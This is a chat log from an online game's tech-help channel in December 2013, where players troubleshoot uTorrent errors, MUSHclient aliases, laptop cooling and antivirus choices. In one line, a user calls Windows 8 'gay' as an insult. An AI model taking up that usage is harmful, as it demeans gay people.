T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: no help?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Elysian Tech: try xset reset gui?
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Zvain Tech: boom!
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: Zvain tosses Elysian up in the air, he loves it!
T3/r7/2013-12-14.txt.gz:{chan ch=tech}Tech: Elysian smiles happily.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Fravardin Tech: I added the plugin potionquaffer2 from bast, but it doesnt seem to be doing anything
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Fravardin Tech: may I please get help
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Ayon Tech: it is double bro :)
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Nuanse Tech: http://code.google.com/p/bastmush/wiki/PotionQuaffer
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Fravardin Tech: I've done everything on the site and it still doesn't recognise I have 36 healer's ballads
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Bobolai Tech: what do you think of windows 8?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Bobolai Tech: i can't seem to create aardmush triggers that actually work. i use the trigger window... any help?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: you need to be more specific
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Bobolai Tech: okay
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Ayon Tech: Mush uses PCRE, so they can be very litteral. One thing to try is to copy an actual line into the trigger, convert to regex and then star adding the dynamic bits one by one.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Bobolai Tech: nevermind, got it! put a * in front :P
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: anyone here using utorrent
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: why?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: I like it..?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I started getting disk overloaded error, what's that for
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: do you have enough space ?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I do
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: error would be disk full
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: better look into your downloaded folder, you might have duplicates, half completed files etc that can rob you off space.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: there's no space issue
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: increase disk cache in advanced settings
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: it starts downloading stuff, then shows a message disk overloaded 50, 60, until it reaches 100, then stops downloading
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: haven't seen that before?   check your designated download directories, you probably have duplicates, or have not deleted the full files when you thought you did out of utorrent.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: did you google utorrent disk overloaded?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: or downgrade to 2.2
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: ye I did, people downgraded to 2.2.1
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: well did you try that?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: yah but had same issue :( I deleted the settings and reinstalled now
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: it just makes no sense for the error to suddenly appear
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Gener Tech: how to fix disk overload   http://www.youtube.com/watch?v=UNUn7k0HTvM
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: k lemme watch
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I like his accent
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: someone trying using utorrent on win 8?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: yes, actually :P
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: heh, you have my comisserations
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: why, works fine for me?  Known issues?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: the solution is to ditch win8 and pick up an operating system that's less.... gay?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: there were no issues for months, just makes no sense
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: if I just installed utorrent and had an error it'd be different
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: my only complaint is their usage of ads the past year or so
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: what a ds
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: there is one more factor: windows update
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: mmm I did install updates
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: trez: anything new which would be accessing the hard drive a lot? antivirus, backups, some online storage utilities?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: wouldn't put it past microsoft sabotaging p2p apps
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: well it says overload 100%, but disk usage is 50%
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: overload is talking about "busy", not storage space...
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: that's what i mean too
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: too many open files
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: well, MS have a new way to force updates, last time they blocked WWW traffic till reboot to force install of udpates
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: this is so weird :P download speed is 1 MB / sec
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: disk usage is 50% at 16 MB / sec
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: gonna try increase the cache then
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: you could try throttling your download
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: while we're talking reliable freeware,   what is a good free malware program, if there is such a thing?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: or is win8 firewall good enough for average user
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: or restrict the number of simultaneous down/uploads
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: it's 1 file only, I don't wanna limit the download speed :P
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: not the firewall, but windows defender is OK
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: what's the point of being in Europe if I'm gonna have US dl speed
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: good point
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: the point of you being in europe is so you can get training for being a good little economic slave
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: :(
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: k seems to be fine now, 5 MB / sec no issues
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: Any good free antimalware software out there?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I'm just using what came with windows and chrome
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Negader Tech: Windows Essentials
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Ayasinda Tech: try tech -h. the answer was given already
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Gener Tech: microsoft security essentials
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: chrome comes with a sort of anti-security package
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I meant chrome as in, not internet explorer
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: you choose a devil over a demon, shrug
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: yeah, figured windows essentials was good enough for my use.  Besides, you have to deal with the bloat of it regardless, may as well use it right?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Gener Tech: no bloat actually
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: yeah?  even better
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: how can you tell if it's bloated, my cpu is at 0-1% when I bot pups
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: I always found I'd have instant problems with any pc with virus software installed.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: I've had essentials, were no ssies
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: common sense is good malware protection :)
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Ayasinda Tech: don't install virus software. Install anti-virus software
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: if you cared about security, you wouldn't be using windows 8 :-)
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: TrEz snickers softly.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: I knew that was comming, ayasinda lol
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: dont put your hand in a cookie jar if you dont know the ingredients :)
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: what you're really doing is applying the software equivalent of a placebo
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: tiger, I wouldn't have been using windows isnce like, win98 
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: the most horrible thing that came with it, was replacing my profile with my ms profile, and I couldn't remember the pass
T3/r7/2013-12-15.txt.gz:{chan ch=tech}TrEz Tech: local profiles were fine, it didn't need to replace it with an email
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: yeah, just have to read carefully when setting up
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: having seen it, i'm definitely hanging out on xp until forced to jump onto a linux equiv
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: keep trying ubuntu every couple years, but just go back to windows.  I always find settings get changed or I update improperly and end up fubaring audio settings etc.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: ubuntu is turning into the MS of the Linux world
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: i'll probably go for something minimal which will mean avoiding ubuntu like the plague
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: Is it getting easier to use?  I'm assuming thats a negative for you?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Trachx Tech: use centos or debian
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: not a matter of easy or difficult
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: matter of what then?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}RobFord Tech: i'll look into those.  Do they play well with windows on a dual boot?  
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: there's some things they changed for the worse
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: the desktop, their cloud system
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: the ubuntu software center
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: trying to compete with the apple store in an odd way
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: Tigernuts shivers uncomfortably.
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tigernuts Tech: better to exterminate Apple rather than compete with it
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: okay I use mush client and I want to strangle then back stab, I can assign an alias, but what would the body of the alias contain?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: str *
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: "str *
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Nuanse Tech: "strangle %1;bs %1"
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: aha thanks
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: I'd hit enter rather than using ;
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: botting eh?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: using ; won't work unless you also change the alias's action
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: to send to execute rather than send to world default
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Mencheres Tech: ok i'm going to try it
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: I finally figured out how I am accidently closing my windows on the mac
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: ha
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: cmd-w?
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: fat-fingering command-q instead of command-tab
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Tech: heh, yeah, quit would do it
T3/r7/2013-12-15.txt.gz:{chan ch=tech}Pleiades Tech: couldnt figure out how I kept closing a browser window
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Sepulchure Tech: I'm having a problem with S&D, the results shown in "qw <target>" aren't hyperlinked/clickable. Could I please get help on the matter?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Sepulchure Tech: I'm having a problem with S&D, the results shown in "qw <target>" aren't hyperlinked/clickable. Could I please get help on the matter?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Redwood Tech: I have an old ipod that has a broken port (charges but wont connect to a device to add/remove music) im simply trying to play the music on my laptop using an aux cord (again because the ipod to usb cable does not send data) and my mic jack. anyone know of a way to actually hear that? program/something built into windows?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Redwood Tech: anyone?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure that's possible. You're probably better off buying a cheap external speaker.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Redwood Tech: balls.. nothing i can use to make my computer think im constantly speaking through the mic?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Maybe try Virtual Cables or something, but the mic input isn't set up to act as a stereo input.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Alternative is just take it to a shop that will fix it for cheap. I could get that fixed here for $20-30, max.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Redwood Tech: Ya, might have to just do that. Thanks!
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure thing.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Legendary Gruagach Tech: top univeristy, in america..obv
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Definitely Defines Tech: RIT?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Definitely Defines Tech: (rofl)
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Da-Tenshi Koala Tech: there is any good mud app for the ipad?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: Is there a solution similar to the default client for Mac OS X? There used to be a plugin for Mudlet, but that disappeared. http://www.aardwolf.com/wiki/index.php/Clients/MudletAardwolfGUI
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Tech: the aard MUSHclient package works quite well on MacOSX
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Gah. Any idea why Facebook is not displaying properly for me? It's like plaintext covers up the linked names, creating a jumbled mess of letters.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: noscript?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't have that running.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: java disabled?
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Page is at 100%, not zoomed, either.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I'll check Java, just to make sure.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Java is enabled.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: Corrupt css file maybe. Full refresh by holding shift and hitting refresh.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Chrome browser, by the way, and Facebook displays the same way in Incognito mode.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Negatory on that, too.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Here's what it looks like: https://www.dropbox.com/s/5sc46gn6t9soojp/fbook.png
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Book of Etzli Tech: And checked extensions, none of them are messing it up.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: so the official tech response to a Mudlet mapper (or any mac mapper) is crickets, right? Google isn't helping.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I haven't really used Mudlet, you could try their IRC channel if there is one.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: ty
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: Heck. Yes! Crossover (based on wine) runs MUSHclient on Mac!
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Tech: so does vanilla wine, and has run it fine for many years...the aard MUSHclient package is developed under wine
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Tech: there's an FAQ entry on the aard MUSHclient package's site for running it on linux & OSX
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Aedrious Tech: Didn't see that, but I'm glad it's there for future adventurers.
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Thyth Tech: im using aardmush
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Thyth Tech: im using aardmush, and the ascii map isn't working properlu
T3/r7/2013-12-16.txt.gz:{chan ch=tech}Thyth Tech: nvm, just restarted the cilent
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Doc Holliday Tech: So instead of opening 30 ports on my router for 1 box, is it possiblen
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Doc Holliday Tech: oops didnt finish the thought there
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Doc Holliday Tech: how would i setup a local ssh tunnel for all of them at once. is there a simple way to add that to my profile?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Doc Holliday Tech: not necessarily wanting to go the vpn route
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Doc Holliday Tech: basically establish an ssh connection then be able to hit random ports through there and access the multiple websites setup but limiting it to only 1 port being forwarded
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Twitter Roninleader Tech: so, what ways have you guys come up with to use xrt to get to astral travels?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: So, I've had to buy an external fan for my computer, and it worked fine for a bit, but now it's starting to not run at times, and I have no idea why. Nothing seems to be jamming it, and the connection cords work still. Any ideas?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Cryos Tech: bearing in the fan went bad?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: I'd have to take it apart later today when the sun is out and I've had sleep to see. It's why I haven't been using my laptop much, as the internal fan is jammed/broken.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, wut? You have no internal fan running in your laptop at all?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Redwood Tech: lol
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Redwood Tech: when you see the smoke let us know.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You know you can kill a CPU in under 10 seconds of operation without a working heat sink and fan in pretty much micrometer-ranges of distance, right?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: most will auto shut down before damaging itself
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: To the point where a single bubble in the thermal paste can mean an extra 20 degrees of heat?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Most will try Mokg, I've not heard of that happening with any sort of reliability
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: happened when I put too little thermal paste on mine a while back. melted the plastic off the top of the cpu but it still worked
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: Yeah, my laptop will shutdown when it gets too hot, which is a good thing. I'm worried that I might have to buy a new fan, though.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Aizma Tech: Just put it on ice
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Crnogorac Tech: try cleaning it
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: I'm going to do that later today. Take it apart and clean everything.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mokg, that would be operating with at least some heat management - giving the thermal sensor time to kick in. Running with nothing working at all it would kill it too fast to shut off
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: I do have ice, which is not in use right now, as the fan is working, but it's not working at it's full level.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait a minute, melted the plastic? What plastic, the top of a cpu is polished metal, for the best heat transfer.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: was a while back. an amd 64 I think? they had a plastic coating on the core
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: maybe not plastic. but plastic like
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: What's really bad is the fan doesn't cover the whole laptop, and some parts still get really hot. Yet, for the life of me, I don't know why it doesn't shut off for those parts.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What I'm reading about the AMD CPUs with plastic on them is that it was the OEM packaging and it was supposed to be removed :-P
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So it seems likely you put the right amount of thermal paste on it, but the plastic insulated it. Once the plastic melted off it was good to go
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: it was like this if I remember correctly. I still have it somewhere. http://www.ioffer.com/img/item/187/082/694/hp-dv6000-dv2000-amd-turion-64-x2-1-6ghz-tmdtl50hax4ct-a4b77.jpg
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Etris, there are really only 5 things in a laptop which generate heat. CPU, GPU (quite often the same as the CPU in laptops), power supply, HDDs and monitor. The power supply will have its own exhaust fan, the HDDs produce fairly minimal heat, none if it's an SSD, and the monitor is far enough away it doesn't need to worry.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: yeah it was the amd athlon xp. they all have that black plasticish thing in the middle
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That black stuff is a nickel coating I think, I thought you meant like a cling wrap sort of plastic thing.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: It's by the top left edge of the not-monitor part. I'll learn words later.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: By the fan. It might be the fact that the fan is jammed, and the motor for it is still running, causing it to heat up. Just a theory.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: you can buy a pad that goes underneath the laptop that has fans on it. not sure how effective they are
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: If it covers every single part of the bottom, I'll get it.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They are good, but they rely on the internal ones sending the heat to the vents for them to work
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And they don't blow air, they suck it. More designed to protect testicles from sterilisation... which is an issue with hot laptops on laps.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: something like http://www.newegg.com/Product/Product.aspx?Item=N82E16834997819 there's a large selection
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: My internal one is jammed, so yeah.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need to sort that out, nothing is going to replace an internal fan for effectiveness, proximity is key
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: It's something that might not ever get fixed, as I'm due for a new laptop anyways.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Try and find a replacement heat sink for it, they all follow fairly common groups of fittings and form factors.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If your laptop isn't a Toshiba it will have specs on http://www.tim.id.au/blog/tims-laptop-service-manuals/
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: HP.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Etris Tech: Gimme a minute.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Book of Etzli Tech: So, my Facebook problem yesterday... somehow, I lost the FB font (Lucida Grande), so that's why it wasn't displaying properly... interesting.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Comanchee Tech: when making an alias in mush, if it includes 2 steps, e.g. wake X and eat Y, how do I insert a 1 second pause between the 2 commands?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Pleiades Tech: why would you need to insert a pause?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Redwood Tech: to not seem like a bot! of course!
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Comanchee Tech: just trying to learn
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Ashiya Tech: there is a command available for the mapper when making cexits
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Ashiya Tech: probably could use that
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Fravardin Tech: My search and destroy doesn't seem to work with hunt trick anymore
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Turie Tech: Oh no, hunt is broken!
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i miss the times when people wrote their own bots
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Fravardin Tech: may i get any tips or help?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Definitely Defines Tech: just a tip
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Fravardin Tech: ?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm guessing the thought of trying to do them without the aid of scripts never crosses his mind.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Turie Tech: Don't go making phoney calls....only the seven digits you are used too.....
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Book of Etzli Tech: You're forgetting "dial" :p
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Turie Tech: No.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Negader Tech: I can't seem to command mapper from an alias or trigger.  Is there a way?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Turie Tech: You can make an alias  mg * and for mapper goto %1.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Negader Tech: ok thanks
T3/r7/2013-12-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Send to execute not anything else.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you are sending to world it doesn't look at your other aliases...
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Turie Tech: If you read the wiki under finger Fiendish for the "How to make an alias" then you can do it.
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Negader Tech: ok :)
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Negader Tech: thank yo 
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Furen Tech: how do i turn off {/help} and all thoes tags in mush?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: tags off
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Furen Tech: thanks
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Thyth Tech: aardmush is database-assisted?
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Tech: aardMUSH's mapper uses a sqlite database to track rooms and pathfind, yup
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Tech: so when you're on a campaign, you can use mapper goto to get where you need to go quickly, provided you've been there at least once, and you may need to tell the mapper about things like custom exits, in-room portals, etc
T3/r7/2013-12-17.txt.gz:{chan ch=tech}Cyrep Tech: and im still doing "runto areaname" and searching each time
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: testing
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: how do I stop my client from spamming data on newbie channel
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't write triggers that use channels.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Which is illegal anyway.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Pleiades Tech: which client?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: aardwolf
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Although, if you are starting lines with ".", that's default for newbie.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: Mush?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: yes
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh wait, no, you're above level 5.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: . is for gossip
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: and
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Nuanse: Not when you're a newbie.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: is it Aardmush?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: yes
